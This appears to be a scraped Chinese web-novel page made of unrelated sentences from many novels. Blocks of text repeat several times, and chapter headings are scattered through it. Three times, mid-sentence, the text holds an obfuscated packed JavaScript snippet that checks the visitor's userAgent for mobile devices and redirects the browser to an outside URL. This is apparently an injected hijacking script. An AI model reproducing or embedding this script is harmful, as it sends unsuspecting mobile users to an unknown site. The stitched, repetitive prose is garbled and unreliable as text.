,只听得,‘劈里啪啦’‘稀里哗啦’,一泄千里,一肚子的气和杂质急赶慢赶得,都出去了,肚子是舒服了,可是再一次的又牵动了受伤的经脉,疼得又一阵痉挛。 而就在这时,这黑龙妖突然扭脸,一双如血的红目紧盯着林逸那边。 并且多给她一些报酬的话,她可以找关系,让梅花还债的时间,往后面推推。 听到山洞两字,吴福明的身体不自主的颤抖了一下,尽管隐藏着元果的山洞洞口比较隐秘,可再隐秘也不是绝对的天衣无缝,不然吴福明他怎么能找得到? 简单的对话完成,一道红色的光芒从大殿之中飞了出去!于此同时我们也是来到死寂之地的外围。这里的植物已经渐渐稀少,存在的也是一些有毒的植物、动物。 “阿成,你不是到地窑去取那罐糯米酒吗?怎么跑到外面去了?”龙朝晖不解地问。 凭借着许晓堪比战将级魂宠的力量,白有德藏在衣服内的软甲,根本起不到什么防御作用,反而被许晓轻松划破,飙出一道血线。 “黑岩莽,希望再次碰到你。”孙悟星咧嘴一笑,露出来了兴奋的神情,他想要再战黑岩莽。 因此,作为秦风的“继承者”,许晓也继承了这两只魂宠的“契约权”。 他记得这个集装箱里,装的是来自巴西的一些东西,里面有一些木材,外面箱子里装的是一些伐木工具,包括圈锯、链锯、油锯之类的。 一直被人用忍术轰炸而难以还击,纵然是他也不禁生出了一丝无名之火。 龙鹤年默默地看着面前这个头精尾灵的曾孙,一股热潮冲击着他的心扉,一种冥冥的感知紧紧地攫住了他。 看着从天空中下落的封雪,被艾莎保护的那些孩子均是双眼无神地望着犹如神明降世般的封雪。 别说将级,就算是神级,只要还未步入神级巅峰,在实力尚未处于巅峰的X1、X4好X9面前,也同样翻不起多大的浪花来。 大致数了数,朱羽就确定,参加拍卖的远不止这一个大院子里的人。因为光看房间号就已经超出三十个了。 “你到底杀不杀?你不杀她,我可就杀你了!”卓远端起枪,吐掉烟头,直直的瞄准了**的脑袋。 她举止很轻柔的从被子里站起来,柳腰一扭,骑在卓远腰间,两支玉指把卓远的烟头捏到烟灰缸去。 我点了点头,心说,那就更没错了,这只“黄玉金蟾”肯定是老中医要我拿回的物件儿。 一番话说的简洁明了,这话的意思就是要告那些发不实新闻的新闻社和网站了,顿时大家都为那些新闻社捏了一把冷汗。 我顿时把胳膊一甩,丢给他一句话,“你在外面等着!”甩开强顺,我也从斜坡上冲下去,钻进了林子里。 “可是集团对集团的收购是很复杂很漫长的,你们的协商谈判都要很长时间吧,可惜我这儿有点事拖不得。”卓远叹息道。 ,只听得,‘劈里啪啦’‘稀里哗啦’,一泄千里,一肚子的气和杂质急赶慢赶得,都出去了,肚子是舒服了,可是再一次的又牵动了受伤的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135537|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经脉,疼得又一阵痉挛。 而就在这时,这黑龙妖突然扭脸,一双如血的红目紧盯着林逸那边。 并且多给她一些报酬的话,她可以找关系,让梅花还债的时间,往后面推推。 听到山洞两字,吴福明的身体不自主的颤抖了一下,尽管隐藏着元果的山洞洞口比较隐秘,可再隐秘也不是绝对的天衣无缝,不然吴福明他怎么能找得到? 简单的对话完成,一道红色的光芒从大殿之中飞了出去!于此同时我们也是来到死寂之地的外围。这里的植物已经渐渐稀少,存在的也是一些有毒的植物、动物。 “阿成,你不是到地窑去取那罐糯米酒吗?怎么跑到外面去了?”龙朝晖不解地问。 凭借着许晓堪比战将级魂宠的力量,白有德藏在衣服内的软甲,根本起不到什么防御作用,反而被许晓轻松划破,飙出一道血线。 “黑岩莽,希望再次碰到你。”孙悟星咧嘴一笑,露出来了兴奋的神情,他想要再战黑岩莽。 因此,作为秦风的“继承者”,许晓也继承了这两只魂宠的“契约权”。 他记得这个集装箱里,装的是来自巴西的一些东西,里面有一些木材,外面箱子里装的是一些伐木工具,包括圈锯、链锯、油锯之类的。 一直被人用忍术轰炸而难以还击,纵然是他也不禁生出了一丝无名之火。 龙鹤年默默地看着面前这个头精尾灵的曾孙,一股热潮冲击着他的心扉,一种冥冥的感知紧紧地攫住了他。 看着从天空中下落的封雪,被艾莎保护的那些孩子均是双眼无神地望着犹如神明降世般的封雪。 别说将级,就算是神级,只要还未步入神级巅峰,在实力尚未处于巅峰的X1、X4好X9面前,也同样翻不起多大的浪花来。 大致数了数,朱羽就确定,参加拍卖的远不止这一个大院子里的人。因为光看房间号就已经超出三十个了。 “你到底杀不杀?你不杀她,我可就杀你了!”卓远端起枪,吐掉烟头,直直的瞄准了**的脑袋。 她举止很轻柔的从被子里站起来,柳腰一扭,骑在卓远腰间,两支玉指把卓远的烟头捏到烟灰缸去。 我点了点头,心说,那就更没错了,这只“黄玉金蟾”肯定是老中医要我拿回的物件儿。 一番话说的简洁明了,这话的意思就是要告那些发不实新闻的新闻社和网站了,顿时大家都为那些新闻社捏了一把冷汗。 我顿时把胳膊一甩,丢给他一句话,“你在外面等着!”甩开强顺,我也从斜坡上冲下去,钻进了林子里。 “可是集团对集团的收购是很复杂很漫长的,你们的协商谈判都要很长时间吧,可惜我这儿有点事拖不得。”卓远叹息道。 ,只听得,‘劈里啪啦’‘稀里哗啦’,一泄千里,一肚子的气和杂质急赶慢赶得,都出去了,肚子是舒服了,可是再一次的又牵动了受伤的经脉,疼得又一阵痉挛。 而就在这时,这黑龙妖突然扭脸,一双如血的红目紧盯着林逸那边。 并且多给她一些报酬的话,她可以找关系,让梅花还债的时间,往后面推推。 听到山洞两字,吴福明的身体不自主的颤抖了一下,尽管隐藏着元果的山洞洞口比较隐秘,可再隐秘也不是绝对的天衣无缝,不然吴福明他怎么能找得到? 简单的对话完成,一道红色的光芒从大殿之中飞了出去!于此同时我们也是来到死寂之地的外围。这里的植物已经渐渐稀少,存在的也是一些有毒的植物、动物。 “阿成,你不是到地窑去取那罐糯米酒吗?怎么跑到外面去了?”龙朝晖不解地问。 凭借着许晓堪比战将级魂宠的力量,白有德藏在衣服内的软甲,根本起不到什么防御作用,反而被许晓轻松划破,飙出一道血线。 “黑岩莽,希望再次碰到你。”孙悟星咧嘴一笑,露出来了兴奋的神情,他想要再战黑岩莽。 因此,作为秦风的“继承者”,许晓也继承了这两只魂宠的“契约权”。 他记得这个集装箱里,装的是来自巴西的一些东西,里面有一些木材,外面箱子里装的是一些伐木工具,包括圈锯、链锯、油锯之类的。 一直被人用忍术轰炸而难以还击,纵然是他也不禁生出了一丝无名之火。 龙鹤年默默地看着面前这个头精尾灵的曾孙,一股热潮冲击着他的心扉,一种冥冥的感知紧紧地攫住了他。 看着从天空中下落的封雪,被艾莎保护的那些孩子均是双眼无神地望着犹如神明降世般的封雪。 别说将级,就算是神级,只要还未步入神级巅峰,在实力尚未处于巅峰的X1、X4好X9面前,也同样翻不起多大的浪花来。 大致数了数,朱羽就确定,参加拍卖的远不止这一个大院子里的人。因为光看房间号就已经超出三十个了。 “你到底杀不杀?你不杀她,我可就杀你了!”卓远端起枪,吐掉烟头,直直的瞄准了**的脑袋。 她举止很轻柔的从被子里站起来,柳腰一扭,骑在卓远腰间,两支玉指把卓远的烟头捏到烟灰缸去。 我点了点头,心说,那就更没错了,这只“黄玉金蟾”肯定是老中医要我拿回的物件儿。 一番话说的简洁明了,这话的意思就是要告那些发不实新闻的新闻社和网站了,顿时大家都为那些新闻社捏了一把冷汗。 我顿时把胳膊一甩,丢给他一句话,“你在外面等着!”甩开强顺,我也从斜坡上冲下去,钻进了林子里。 “可是集团对集团的收购是很复杂很漫长的,你们的协商谈判都要很长时间吧,可惜我这儿有点事拖不得。”卓远叹息道。 ,只听得,‘劈里啪啦’‘稀里哗啦’,一泄千里,一肚子的气和杂质急赶慢赶得,都出去了,肚子是舒服了,可是再一次的又牵动了受伤的经脉,疼得又一阵痉挛。 而就在这时,这黑龙妖突然扭脸,一双如血的红目紧盯着林逸那边。 并且多给她一些报酬的话,她可以找关系,让梅花还债的时间,往后面推推。 听到山洞两字,吴福明的身体不自主的颤抖了一下,尽管隐藏着元果的山洞洞口比较隐秘,可再隐秘也不是绝对的天衣无缝,不然吴福明他怎么能找得到? 简单的对话完成,一道红色的光芒从大殿之中飞了出去!于此同时我们也是来到死寂之地的外围。这里的植物已经渐渐稀少,存在的也是一些有毒的植物、动物。 “阿成,你不是到地窑去取那罐糯米酒吗?怎么跑到外面去了?”龙朝晖不解地问。 凭借着许晓堪比战将级魂宠的力量,白有德藏在衣服内的软甲,根本起不到什么防御作用,反而被许晓轻松划破,飙出一道血线。 “黑岩莽,希望再次碰到你。”孙悟星咧嘴一笑,露出来了兴奋的神情,他想要再战黑岩莽。 因此,作为秦风的“继承者”,许晓也继承了这两只魂宠的“契约权”。 他记得这个集装箱里,装的是来自巴西的一些东西,里面有一些木材,外面箱子里装的是一些伐木工具,包括圈锯、链锯、油锯之类的。 一直被人用忍术轰炸而难以还击,纵然是他也不禁生出了一丝无名之火。 龙鹤年默默地看着面前这个头精尾灵的曾孙,一股热潮冲击着他的心扉,一种冥冥的感知紧紧地攫住了他。 看着从天空中下落的封雪,被艾莎保护的那些孩子均是双眼无神地望着犹如神明降世般的封雪。 别说将级,就算是神级,只要还未步入神级巅峰,在实力尚未处于巅峰的X1、X4好X9面前,也同样翻不起多大的浪花来。 大致数了数,朱羽就确定,参加拍卖的远不止这一个大院子里的人。因为光看房间号就已经超出三十个了。 “你到底杀不杀?你不杀她,我可就杀你了!”卓远端起枪,吐掉烟头,直直的瞄准了**的脑袋。 她举止很轻柔的从被子里站起来,柳腰一扭,骑在卓远腰间,两支玉指把卓远的烟头捏到烟灰缸去。 我点了点头,心说,那就更没错了,这只“黄玉金蟾”肯定是老中医要我拿回的物件儿。 一番话说的简洁明了,这话的意思就是要告那些发不实新闻的新闻社和网站了,顿时大家都为那些新闻社捏了一把冷汗。 我顿时把胳膊一甩,丢给他一句话,“你在外面等着!”甩开强顺,我也从斜坡上冲下去,钻进了林子里。 “可是集团对集团的收购是很复杂很漫长的,你们的协商谈判都要很长时间吧,可惜我这儿有点事拖不得。”卓远叹息道。 第一卷 第235章 你想玩,我陪你! 来到县衙,凌川发现这里已经新换了一批衙役,一个个神情冷漠,目露凶光。 四人来到县衙跟前,刚下马,这一众衙役便手持腰刀围了上来。 “干什么的?速速下马!”其中一名满脸横肉的汉子怒声喝道。 当年的他已经食言了,你还在等什么,你现在已经有了叶辰,你还有什么好渴望的。 只听胎神华歌驾着一朵千须爆花云,高高飘悬在巍峨的真理长城上空,向城墙下的人们颐指气使地喊道。 “我知道,你想做什么就做,不用同我商量,只要在我母后把我嫁出去之前就成了。”白素仍旧是笑着,似乎对他完全的信任。 至于拴住雷雨,甄宓完全没有想过这个世界那个男人不是三妻四妾,皇帝更是三宫六院七十二妃,所以甄宓只要能待在雷雨身边就心满意足了。 神农心中也奇,方才他已开启神识搜寻了素成珂母子的下落,却意外地遇到一层屏蔽,竟令他一无所察。 对于雷雨裸的直视,带着金色面纱的武则天眉头微微皱起,让武则天身边的侍卫差点就要动手。 原著中,被送到另一个城市的远坂凛得知了发生在冬木市的儿童诱拐事件,并且得知被诱拐的儿童**害后,担心自己的朋友琴音,而回到了冬木市。 孟婆婆眸中掠过一丝笑意,便同欧阳晴明走了过去,百里醉和惜若远远看着,不敢过去。 “昨日奴婢去梅花庭给王妃送压惊药回来之后。”柳儿想了想道。 想起了中国的历史,想起了自己亲人在抵抗黑帮入侵中国,死在他们枪下,想起自己的母亲因为保护自己……龙灵儿拿出自己的武器,开始往光明之神的雕相砍去,发泄着自己的怒火。 段墨甩开了玉儿,冲了出去,踉跄的步子,四处寻找,偌大的院子里,没有一匹马。 她定睛看去,那个纹身有点像彼岸花,又有点像罂栗花,在那一片雪白的肌肤上,诡异又妖娆。 他这是实话,毕竟现在的他,如果真的硬要杀韩夜,并不是没办法。 AV看着一直停在那儿的北冥幽突然间策马狂奔,声音也跟着大了起来。 尉迟秋一下子犯难了,刚才席间,什么菜都剩了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144661|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就这糯米八宝饭吃得一滴不剩。 华韶给了莱茵丝一个混杂着欣慰与赞许的眼神。他们平日里不是不能交谈,但就算在办公室或者是会议室里也无法完全排除有人偷听的情况。还不如光明正大地将所有人都放在眼皮子底下,谁想靠近也都看得一清二楚。 宁时修没有说谎,虽说林一一这样的装扮的确很风尘,但也是个绝色风尘,除了那条裙子过短之外,宁时修没有其他任何的意见,她想玩,想闹,他随着她,反正不管闹成什么样子,最后都有他在。 “大人!”域外强者纷纷跪伏在地上,朝着半空中的人虔诚的叩拜。 别人稍微言语有一点不对劲,他们身上的刺就竖起来,毫不留情的刺向攻击念念的人。 明明当初也是被关家送去旗云宗的人,怎么一回来就对自己人动手? 王绎一脸黑线,吕逸风也冷着一张脸,对于这个盟友很是不满意。 皇上在这里等着想出良策来解决老百姓的苦难,你却在这里,对着皇上让安王爷来朝堂的事揪着不放,一遍一遍提起,你又是什么意思?安的什么心? 第一卷 第236章 聂氏一族! 在那种情况下四周全是地下岩石几乎没有任何通道这还未觉醒的雏雀意识都只是出于朦胧形态究竟是怎么去到那里以元脉心哺乳自己的? 但他又期待天地毒体的事是真的故而带着蓝袍男子前来让蓝袍男子前来打探看看虚实。 “恩这我就放心了我们走吧。”大长老和周围两位供奉示意一下然后再众目睽睽之下消失在了巨大的风漩涡中随后天际恢复了一片平静。 经过幽火豺兽皇身边时熊霸主吐字如雷偌大的宅院仿佛都震颤了一下。 支离破碎的天空陡然被炽白刀光斩成了两半分割成两个不同的空间。 这方天地沸腾十方虚空崩灭坍塌风流云散可怕的气息直冲天外似欲击穿九重天。 那他们根本就不可能无声无息的寻找血手人佛的洞府肯定会被这些刻命宗的弟子看见。 富二代拿着一瓶香槟狠狠晃动随后朝着约瑟夫就喷洒过去约瑟夫也不客气拾起地上浇花的水管顶着喷洒的香槟拧开水龙头巨大的水花直朝富二代马丁而去。 当头一人轻轻掰开一面瓦片透过口子望了下去是个少年端坐在床榻上正在静心修炼。 不过她也知道洪奕的强势当初在风雪幻境洪奕给她的感觉就是极为强大就算她和白骨大妖联手都未必能敌。 最大的收获还是在于这一个月疯狂汲取邪恶之息技能Lv1【恶魔真身】的变化。 “呵呵现在的年轻人真是好眼力!”陈稳干笑一声没有说话。 最后的幻梦和磐石则是在这段时间无限量的宝物供养下弥补了部分受损根基再次达到了百分之九十九。 在这车队的外面有十来辆马车围着。那些围着的人谄媚的笑着正对着那漆成金‘色’的马车极恭敬地说着话。 相比于何清凡他还是很轻松的。有着强大的后盾自身的天赋也是极高。只要给他时间积累那么将来一定是主宰似的人物。像他这种人心境平稳 因此苏音才不甘示弱的回盯着游子诗自作主张的与游子诗玩了一回“木头人”的游戏。 两个黑衣人同时应了一声是扛起孙衍几个纵跃便消失在院落里。 你的朋友正在书荒,快去帮帮他吧 狱王不再说话,如果这样的话,联盟动用神圣之焰的可能性确实可以忽略。 时间在无声无息中流逝,转眼之间已经过去了将近十天的光景,不同与往日的诸天道这才将纵横天下融合。 凤驰脸上的神色依旧,只是那双深邃无波的眼眸中,不知何时多了一丝别人难以察觉的笑意在里面。 黑龙是早都知道这件事的,所以也不废话,神念溢出,猛的朝着那封印一压。 “嘶……”绕是以夜阳见多识广,望着眼前诡异的变化,也不由得连连倒吸冷气,满脸写着茫然和惊骇,心底升起了莫名的惊悚。 韩瑶拿过陆山民手里的话筒,说道:“我可以作证,山民并没有欺骗我,我爱他,不在乎他的过去”。 新晋八级主神旭日之主以及七级巅峰天使米迦勒均非等闲,有这些强力主神支援地狱,洛克还能否与无尽之主达成合作,甚至是与光明神族取得友好交往的关系,恐怕还是未知数。 “哪里。。只不过给些建议罢了,这局棋想必就算是破过了,我们去下一家吧!”。 对于众人的惊呼,此刻的陈潇是不在意的,这时候的陈潇只是疯狂的吸收着万界之力,不停的修复者自己体内的伤势。 “成功了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144662|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”木枫的注意力放在了右方,虽然他仍旧沿着左路前行,但是速度不经意间被放慢了。 就见那道雾气似乎蕴藏灵性,左突右冲,并不想要**寒吸收,而是想要逃跑。 方才跟随在他身边的三人已消失不见,取而代之的是十几个修为深厚的修炼者,这些人修为普遍在圣境之上,都穿着清一色的血色长袍,长袍上刺绣着精美的花纹,就像一条条蠕动的血管,让人不禁头顶生寒。 “那行,大恩不言谢,以后胡子哥有什么用得着我的地方直接开口!”说实话,吕千城真的有些感动。 可就是这样一座大楼,几乎学园都市内所有学生都知道,住在它里面的主人就是这创办这座学园都市的大人物,也就是所谓的市长,或者理事长。 百余考生在窦辰的分配下,分成了四组,称为天地玄黄,每组二十余人,分别开始马射、步射、马术、举重四个项目。四个项目同时进行,以节约考生的时间。 我族因为一直寻找离开此处的方法,所以对于这景物移动的规律还是知道一些的。 其实早在那只猪妖来求指教的时候,金鳞和墨长星就已经躲在暗处看戏了。 一个翻身躲过了这计绝杀,白袍九尾先知跳到了一棵高树的枝条尖上,手中的古琴横向漂浮在空中,已然摆出了应战的姿势。 吕千城没有搭话,静静的听着罗博的介绍,对隐门和古武世家一无所知的他这个时候是最好了解他们的机会。 午餐他们吃了足足一个时辰,期间大多是裴旻针对募兵制的独角戏。 因为铁柜子是军方锁了的,而且是加了密的,我们自然是无权也无法打开,我忙对一个特战队员道:“能不能请胡大队长把柜子打开察看一下?”。 第一卷 第237章 跪下回话! 听闻此言,李云洲刚刚才抬起的膝盖,再一次跪回地面。 以前虽然穷,但吕树遇到老头老太太乞讨的时候还是会掏出点零钱,毕竟对方已经没有什么劳动力了。 仔细看这位王恒生,嘴角已经露了血丝,一边的眼睛也青了,一边的脸还肿胀了起来,走动的时候,还有多处不自然。想必刚刚被收拾的不轻。 但人生的许多事情却不能只从理性出发,人活着总要感性一回嘛。 所以他干脆转向地下,向下水道深处的地底暗河跑过去。老鼠的数量再多,总不能还会游泳吧,只要他潜入水中,就是真正的龙归大海,再来几十倍的老鼠都不怕。 当天色变化的速度慢到某种极致的时候就会导致人们区分不出来变化,就像是温水煮青蛙一样,当它感觉到温度难以忍受的时候就已经跳不出去了。 到了楼上大厅一瞧,人依旧显得那么多,江萧只好与梦依往高层走去,到了五楼之后总算找到一处靠着窗边的座位,要了些价格不菲的酒菜后,两人便浅酌着聆听周围的人闲聊。 晓是心神坚定的南宫云遥,望了她那楚楚可怜的目光一眼后,心中也有些于心不忍。 “好吧!那你说什么时间去就什么时间去!”我点了点头。其实我倒真不在意吴继续赢钱,她怎么也不会想到这个赌场的幕后老板其实就是我。 跟他一样听到声音的人也是不少,待见到南宫云遥后都行了个礼,将他们所遇到的事物都说了出来。 他叹了口气。若此刻君黎在自己面前,他还真的不知该不该将这样一个残酷的真相告诉他。 “不错,这阵法可以干涉人的视觉,甚至是意识,虽然我们之前感觉一直在靠近,但实际上,我们只是在山中转了圈子,虽然这样也能一点一点的赶到,但太慢了。”牧易也点点头。 当然,加藤爱并不认为他和那些电视剧里的反派相同,他和这些反派是有本质上的区别的。 艰难站起身的黑人老大,一手捂着嘴,带着怒火中烧的眼神看着石磊,却也没敢动手,连反应过来后,赶上来想教训石磊的两个同伴也被其拦了下来。 “是这样吗?”加藤爱笑了笑,随即站起身,用毯子裹住下半身。 萧夜闻言立刻收敛起全身气息,屏住呼吸,微微侧身,透过树叶之间的缝隙,朝远方看去。 这些桃树明显经过修建,长得不高,但树干树枝却很粗,错落有致,树形优美,结了这么多大桃子,树形还能保持完好,没有东倒西歪或垂到地上来。 甚至,箫夜怀疑这两人偷袭他只是顺带,真正的目的是想引诱欧阳玄踏出十八兵锋阵的笼罩范围,到时候只要拿下欧阳玄,朝阳村不攻自破。 “奇怪,食星蚁的动作怎么变慢了?”袁野挠了挠自己的后脑勺,一脸纳闷。 阎罗王还是那副打扮,一身黑色锦衣华服,高高的帽子前挂着长长的流苏,遮住了他的脸颊。 因为那里葬着老道,葬着他心灵的归宿,只要在那里,他就会感觉心灵无比的宁静,可以什么都不去想,可以坐在那里发呆,晒太阳,回归一个普通人的生活,没有那么多的烦恼,更没有压力。 听闻此言,李云洲刚刚才抬起的膝盖,再一次跪回地面。 以前虽然穷,但吕树遇到老头老太太乞讨的时候还是会掏出点零钱,毕竟对方已经没有什么劳动力了。 仔细看这位王恒生,嘴角已经露了血丝,一边的眼睛也青了,一边的脸还肿胀了起来,走动的时候,还有多处不自然。想必刚刚被收拾的不轻。 但人生的许多事情却不能只从理性出发,人活着总要感性一回嘛。 所以他干脆转向地下,向下水道深处的地底暗河跑过去。老鼠的数量再多,总不能还会游泳吧,只要他潜入水中,就是真正的龙归大海,再来几十倍的老鼠都不怕。 当天色变化的速度慢到某种极致的时候就会导致人们区分不出来变化,就像是温水煮青蛙一样,当它感觉到温度难以忍受的时候就已经跳不出去了。 到了楼上大厅一瞧,人依旧显得那么多,江萧只好与梦依往高层走去,到了五楼之后总算找到一处靠着窗边的座位,要了些价格不菲的酒菜后,两人便浅酌着聆听周围的人闲聊。 晓是心神坚定的南宫云遥,望了她那楚楚可怜的目光一眼后,心中也有些于心不忍。 “好吧!那你说什么时间去就什么时间去!”我点了点头。其实我倒真不在意吴继续赢钱,她怎么也不会想到这个赌场的幕后老板其实就是我。 跟他一样听到声音的人也是不少,待见到南宫云遥后都行了个礼,将他们所遇到的事物都说了出来。 他叹了口气。若此刻君黎在自己面前,他还真的不知该不该将这样一个残酷的真相告诉他。 “不错,这阵法可以干涉人的视觉,甚至是意识,虽然我们之前感觉一直在靠近,但实际上,我们只是在山中转了圈子,虽然这样也能一点一点的赶到,但太慢了。”牧易也点点头。 当然,加藤爱并不认为他和那些电视剧里的反派相同,他和这些反派是有本质上的区别的。 艰难站起身的黑人老大,一手捂着嘴,带着怒火中烧的眼神看着石磊,却也没敢动手,连反应过来后,赶上来想教训石磊的两个同伴也被其拦了下来。 “是这样吗?”加藤爱笑了笑,随即站起身,用毯子裹住下半身。 萧夜闻言立刻收敛起全身气息,屏住呼吸,微微侧身,透过树叶之间的缝隙,朝远方看去。 这些桃树明显经过修建,长得不高,但树干树枝却很粗,错落有致,树形优美,结了这么多大桃子,树形还能保持完好,没有东倒西歪或垂到地上来。 甚至,箫夜怀疑这两人偷袭他只是顺带,真正的目的是想引诱欧阳玄踏出十八兵锋阵的笼罩范围,到时候只要拿下欧阳玄,朝阳村不攻自破。 “奇怪,食星蚁的动作怎么变慢了?”袁野挠了挠自己的后脑勺,一脸纳闷。 阎罗王还是那副打扮,一身黑色锦衣华服,高高的帽子前挂着长长的流苏,遮住了他的脸颊。 因为那里葬着老道,葬着他心灵的归宿,只要在那里,他就会感觉心灵无比的宁静,可以什么都不去想,可以坐在那里发呆,晒太阳,回归一个普通人的生活,没有那么多的烦恼,更没有压力。 听闻此言,李云洲刚刚才抬起的膝盖,再一次跪回地面。 以前虽然穷,但吕树遇到老头老太太乞讨的时候还是会掏出点零钱,毕竟对方已经没有什么劳动力了。 仔细看这位王恒生,嘴角已经露了血丝,一边的眼睛也青了,一边的脸还肿胀了起来,走动的时候,还有多处不自然。想必刚刚被收拾的不轻。 但人生的许多事情却不能只从理性出发,人活着总要感性一回嘛。 所以他干脆转向地下,向下水道深处的地底暗河跑过去。老鼠的数量再多,总不能还会游泳吧,只要他潜入水中,就是真正的龙归大海,再来几十倍的老鼠都不怕。 当天色变化的速度慢到某种极致的时候就会导致人们区分不出来变化,就像是温水煮青蛙一样,当它感觉到温度难以忍受的时候就已经跳不出去了。 到了楼上大厅一瞧,人依旧显得那么多,江萧只好与梦依往高层走去,到了五楼之后总算找到一处靠着窗边的座位,要了些价格不菲的酒菜后,两人便浅酌着聆听周围的人闲聊。 晓是心神坚定的南宫云遥,望了她那楚楚可怜的目光一眼后,心中也有些于心不忍。 “好吧!那你说什么时间去就什么时间去!”我点了点头。其实我倒真不在意吴继续赢钱,她怎么也不会想到这个赌场的幕后老板其实就是我。 跟他一样听到声音的人也是不少,待见到南宫云遥后都行了个礼,将他们所遇到的事物都说了出来。 他叹了口气。若此刻君黎在自己面前,他还真的不知该不该将这样一个残酷的真相告诉他。 “不错,这阵法可以干涉人的视觉,甚至是意识,虽然我们之前感觉一直在靠近,但实际上,我们只是在山中转了圈子,虽然这样也能一点一点的赶到,但太慢了。”牧易也点点头。 当然,加藤爱并不认为他和那些电视剧里的反派相同,他和这些反派是有本质上的区别的。 艰难站起身的黑人老大,一手捂着嘴,带着怒火中烧的眼神看着石磊,却也没敢动手,连反应过来后,赶上来想教训石磊的两个同伴也被其拦了下来。 “是这样吗?”加藤爱笑了笑,随即站起身,用毯子裹住下半身。 萧夜闻言立刻收敛起全身气息,屏住呼吸,微微侧身,透过树叶之间的缝隙,朝远方看去。 这些桃树明显经过修建,长得不高,但树干树枝却很粗,错落有致,树形优美,结了这么多大桃子,树形还能保持完好,没有东倒西歪或垂到地上来。 甚至,箫夜怀疑这两人偷袭他只是顺带,真正的目的是想引诱欧阳玄踏出十八兵锋阵的笼罩范围,到时候只要拿下欧阳玄,朝阳村不攻自破。 “奇怪,食星蚁的动作怎么变慢了?”袁野挠了挠自己的后脑勺,一脸纳闷。 阎罗王还是那副打扮,一身黑色锦衣华服,高高的帽子前挂着长长的流苏,遮住了他的脸颊。 因为那里葬着老道,葬着他心灵的归宿,只要在那里,他就会感觉心灵无比的宁静,可以什么都不去想,可以坐在那里发呆,晒太阳,回归一个普通人的生活,没有那么多的烦恼,更没有压力。 听闻此言,李云洲刚刚才抬起的膝盖,再一次跪回地面。 以前虽然穷,但吕树遇到老头老太太乞讨的时候还是会掏出点零钱,毕竟对方已经没有什么劳动力了。 仔细看这位王恒生,嘴角已经露了血丝,一边的眼睛也青了,一边的脸还肿胀了起来,走动的时候,还有多处不自然。想必刚刚被收拾的不轻。 但人生的许多事情却不能只从理性出发,人活着总要感性一回嘛。 所以他干脆转向地下,向下水道深处的地底暗河跑过去。老鼠的数量再多,总不能还会游泳吧,只要他潜入水中,就是真正的龙归大海,再来几十倍的老鼠都不怕。 当天色变化的速度慢到某种极致的时候就会导致人们区分不出来变化,就像是温水煮青蛙一样,当它感觉到温度难以忍受的时候就已经跳不出去了。 到了楼上大厅一瞧,人依旧显得那么多,江萧只好与梦依往高层走去,到了五楼之后总算找到一处靠着窗边的座位,要了些价格不菲的酒菜后,两人便浅酌着聆听周围的人闲聊。 晓是心神坚定的南宫云遥,望了她那楚楚可怜的目光一眼后,心中也有些于心不忍。 “好吧!那你说什么时间去就什么时间去!”我点了点头。其实我倒真不在意吴继续赢钱,她怎么也不会想到这个赌场的幕后老板其实就是我。 跟他一样听到声音的人也是不少,待见到南宫云遥后都行了个礼,将他们所遇到的事物都说了出来。 他叹了口气。若此刻君黎在自己面前,他还真的不知该不该将这样一个残酷的真相告诉他。 “不错,这阵法可以干涉人的视觉,甚至是意识,虽然我们之前感觉一直在靠近,但实际上,我们只是在山中转了圈子,虽然这样也能一点一点的赶到,但太慢了。”牧易也点点头。 当然,加藤爱并不认为他和那些电视剧里的反派相同,他和这些反派是有本质上的区别的。 艰难站起身的黑人老大,一手捂着嘴,带着怒火中烧的眼神看着石磊,却也没敢动手,连反应过来后,赶上来想教训石磊的两个同伴也被其拦了下来。 “是这样吗?”加藤爱笑了笑,随即站起身,用毯子裹住下半身。 萧夜闻言立刻收敛起全身气息,屏住呼吸,微微侧身,透过树叶之间的缝隙,朝远方看去。 这些桃树明显经过修建,长得不高,但树干树枝却很粗,错落有致,树形优美,结了这么多大桃子,树形还能保持完好,没有东倒西歪或垂到地上来。 甚至,箫夜怀疑这两人偷袭他只是顺带,真正的目的是想引诱欧阳玄踏出十八兵锋阵的笼罩范围,到时候只要拿下欧阳玄,朝阳村不攻自破。 “奇怪,食星蚁的动作怎么变慢了?”袁野挠了挠自己的后脑勺,一脸纳闷。 阎罗王还是那副打扮,一身黑色锦衣华服,高高的帽子前挂着长长的流苏,遮住了他的脸颊。 因为那里葬着老道,葬着他心灵的归宿,只要在那里,他就会感觉心灵无比的宁静,可以什么都不去想,可以坐在那里发呆,晒太阳,回归一个普通人的生活,没有那么多的烦恼,更没有压力。 